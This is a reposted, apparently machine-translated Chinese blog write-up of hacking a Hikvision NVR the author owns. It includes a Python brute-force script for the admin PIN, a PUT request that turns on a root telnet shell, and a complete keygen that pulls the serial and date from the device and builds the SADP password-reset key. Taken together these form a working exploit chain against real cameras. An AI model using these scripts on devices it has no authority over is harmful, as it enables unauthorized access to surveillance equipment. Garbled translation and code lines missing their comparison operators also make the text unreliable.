看我如何重置海康威视IP摄像机的管理员密码

我们常常在网上看到某某通用IP摄像机被黑客使用的新闻。大年夜多半环境下,制造商并不会强制用户设置安然密码,平日您可以应用默认密码直接登录。但有些厂商与众不合——海康威视。首次登录时应用密码是12345,但接下来会强制您变动密码。这难道可以阻拦进击者造访设备吗?然而并没有。第一次我开始测试海康威视DS-7604NI-E1 NVR的安然性时,由于我忘怀了我设置的登录密码。谷歌奉告我可以应用海康威视的Search Active Devices Protocol对象,该对象除了可以扫描子网上的设备功能外,还可以选择重置设备的治理员密码。当我安装该对象并选择Forgot Password选项时,它会提示我输入一个安然密钥,然则我没有什么安然密钥。

开始

以是这对我没什么卵用——我必要另一种措施进入。我可以在80端口上造访治理面板。应用Burp Suite拦截流量,并发明当用户考试测验登录时,发明当用户试图登录时,会向位于/PSIA/Custom/SelfExt/userCheck的端点发出XHR GET哀求。用户名和密码包孕在内。该哀求将返回带有字段的XML文档,假如验证掉败则返回401,假如成功则返回200。我依稀记得那个pin只能包孕数字,大年夜概是5-6位数。此外,假如您输入差错的pin太多次,也不会锁定。这为爆破供给前提。懂得这些之后,我用Python中创建了一个脚本,它只是遍历一系列pin码并反省相应:

from requests import get

from base64 import b64encode

url = ‘http://192.168.1.133/PSIA/Custom/SelfExt/userCheck’

for i in range(10000, 999999):

atoken = b64encode(b”admin:%i” % i)

auth = (“Basic %s” % atoken.decode(“utf-8”))

r = get(url, headers={‘Authorization’: auth})

if “401” not in r.text:

print(f”Found pin: {i}”)

break

大年夜约30秒内我找到了我的密码。

好戏才开始

然而,密码重置选项引起了我的兴趣——若何在系统上反省代码?是否可以在本地天生它?为了找到这个谜底,我必要设备上的二进制文件。幸运的是,一旦拥有治理员密码,就可以轻松得到对设备的root造访权限:您只需将一个PUT哀求发送到/ISAPI/System/Network/telnetd的端点,并应用以下数据:

Telnetd>

enabled>trueenabled>

Telnetd>

这将启用telnet守护法度榜样,您可以将其连接并以root治理员身份登录。进入busybox shell:

$ telnet 192.168.1.133

Trying 192.168.1.133…

Connected to 192.168.1.133.

Escape character is ‘^]’.

dvrdvs login: root

Password:

BusyBox v1.16.1 (2014-05-19 09:41:10 CST) built-in shell (ash)

Enter ‘help’ for a list of built-in commands.

can not change to guest!

[root@dvrdvs /] #

颠末一些基础的罗列考试测验后,我发明当设备启动时,位于/home/hik/start.sh的脚本将履行,它向/home/app提取一些二进制文件,设置一些内容并终极履行二进制文件/home/app/hicore。斟酌到它的大年夜小,彷佛恰是我正在探求的,以是我应用FTP将其上传到我的PC并运行。仅从输出结果来看,彷佛这个二进制文件险些认真所有工作:托管收集前端,后端,与SADP通信,反省密码,驱动连接的摄像优等。应用IDA打开,搜索的字符串security code,我发明Invalid security code的引用以及在0x9C0E6D对Default password of ‘admin’ restored的引用,这彷佛是我不停在探求:

这些由0xC51C0的子法度榜样引用,如下所示:

从无效的密码分支向后查找,我们发明彷佛它对照了两个字符串,此中一个是由0xC2D04处的子法度榜样孕育发生的, 另一个可能是用户输入。0xC2D04的子法度榜样如下所示:

经由过程查看反汇编代码,很显着这是一个函数,它吸收两个参数,一个作为种子的字符输入数组和指向输出位置的指针 ——从种子天生代码。我们接下来就会懂得输入内容是什么了。现在,我们可以经由过程应用Hex-Rays天生函数的伪代码来看看:

看起来似乎它为遍历输入,应用for轮回天生一个数(由IDA命名为v5),应用轮回计数器天生一些异常基础的算术(乘法和XOR)以及每个字符的数值。我们可以用Python表示如下:

def keygen(seed):

magic = 0

for i, char in enumerate(seed):

i += 1

magic += i * ord(char) ^ i

然后将其乘以硬编码的数字1751873395,并将其款式化为字符串作为无符号long。在Python中,我们可以应用numpy来表示:

from numpy import uint32

[…]

secret = str(uint32(1751873395 * magic))

[1] [2] [3]下一页

着末,for轮回遍历字符串中的每个字符,并应用一些硬编码偏移量和字符值天生一个新字符串。在Python中表示为:

key = “”

for digit in secret:

digit = ord(digit)

if digit 51:

key += chr(digit + 33)

elif digit 53:

key += chr(digit + 62)

elif digit 55:

key += chr(digit + 47)

elif digit 57:

key += chr(digit + 66)

else:

key += chr(digit)

return(key)

然则,因为字符只是应用几个偏移量天生,是以这实际上是一个调换密码,上面的块可以调换为:

c = str.maketrans(“012345678”, “QRSqrdeyz”)

return secret.translate(c)

完成的keygen函数异常简短:

def keygen(seed):

magic = 0

for i, char in enumerate(seed):

i += 1

magic += i * ord(char) ^ i

secret = str(uint32(1751873395 * magic))

c = str.maketrans(“012345678”, “QRSqrdeyz”)

return secret.translate(c)

很好,然则究竟是什么才能成为种子呢?再看一下反汇编,看起来输入是一个从内存中掏出的字符串,结合设备的日期款式为:{string}{yyyy}{mm}{dd}

0xC51FC也引用了相同的内存位置,它被用作以下sprintf参数:

以是这个神秘的字符串是设备的序列号。虽然这可以从SADP对象中获取,但假如与日期一路自动获取它会更轻易。我在此中查找了带有“serial”的字符串,找到了一个XML相应模板:

这看起来异常像UPNP数据。在0xAE427D,我们以致可以看到该文件的“location”。/upnpdevicedesc.xml确凿可以发送GET哀求来获取序列号,并且设备的本地光阴包孕在相应头中,这便是我们天生代码所需的整个内容。我们现在可以编写一个函数,它为keygen天生输入:

from requests import get

import sys

[…]

def get_serial_date(ip):

try:

req = get(f”http://{ip}/upnpdevicedesc.xml”)

except Exception as e:

print(f”Unable to connect to {ip}:n{e}”)

sys.exit(-1)

密钥天生器的序列号实际上没有开首,以是我们必要删除它:

from re import search

[…]

model = search(“(.*)”, req.text).group(1)

serial = search(“(.*)”, req.text).group(1)

serial = serial.replace(model, “”)

我们还必要从新款式化日期:

from datetime import datetime

[…]

datef = datetime.strptime(req.headers[“Date”], “%a, %d %b %Y %H:%M:%S GMT”)

date = datef.strftime(“%Y%m%d”)

return f”{serial}{date}”

我们现在可以完成脚本的另外部分:

#!/usr/bin/env python3

import sys

from re import search

from numpy import uint32

from requests import get

from datetime import datetime

def keygen(seed):

magic = 0

for i, char in enumerate(seed):

i += 1

magic += i * ord(char) ^ i

secret = str(uint32(1751873395 * magic))

c = str.maketrans(“012345678”, “QRSqrdeyz”)

return secret.translate(c)

def get_serial_date(ip):

try:

req = get(f”http://{ip}/upnpdevicedesc.xml”)

except Exception as e:

print(f”Unable to connect to {ip}:n{e}”)

sys.exit(-1)

上一页[1] [2] [3]下一页

model = search(“(.*)”, req.text).group(1)

serial = search(“(.*)”, req.text).group(1)

serial = serial.replace(model, “”)

datef = datetime.strptime(req.headers[“Date”], “%a, %d %b %Y %H:%M:%S GMT”)

date = datef.strftime(“%Y%m%d”)

return f”{serial}{date}”

if __name__ == “__main__”:

if len(sys.argv) 2:

print(f”Usage: {sys.argv[0]} “)

print(“Connects to a Hikvision device and generates a security key”)

sys.exit(1)

seed = get_serial_date(sys.argv[1])

print(f”Got seed: {seed}”)

key = keygen(seed)

print(f”Generated security key: {key}”)

运行此敕令会天生一个密钥,当输入SADP时,确凿会将密码重置为12345。

着末的话

总而言之,这种安然步伐是行不通的。更糟糕的是,它可能会孕育发生一种假的安然感,而这种安然感可能会被进击者滥用,从而无法正常事情。虽然我的脚本不容许您重置其他人的密码,由于您必须在本地摄像机的SADP中手动输入密码。

上一页[1] [2] [3]

赞(0) 打赏
分享到: 更多 (0)
免责申明:本站所有资料均来自于网络,版权归原创者所有!本站不提供任何保证,不保证真实性,并不承担任何法律责任

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

阿里云优惠网 更专业 更优惠

阿里云优惠券阿里云大礼包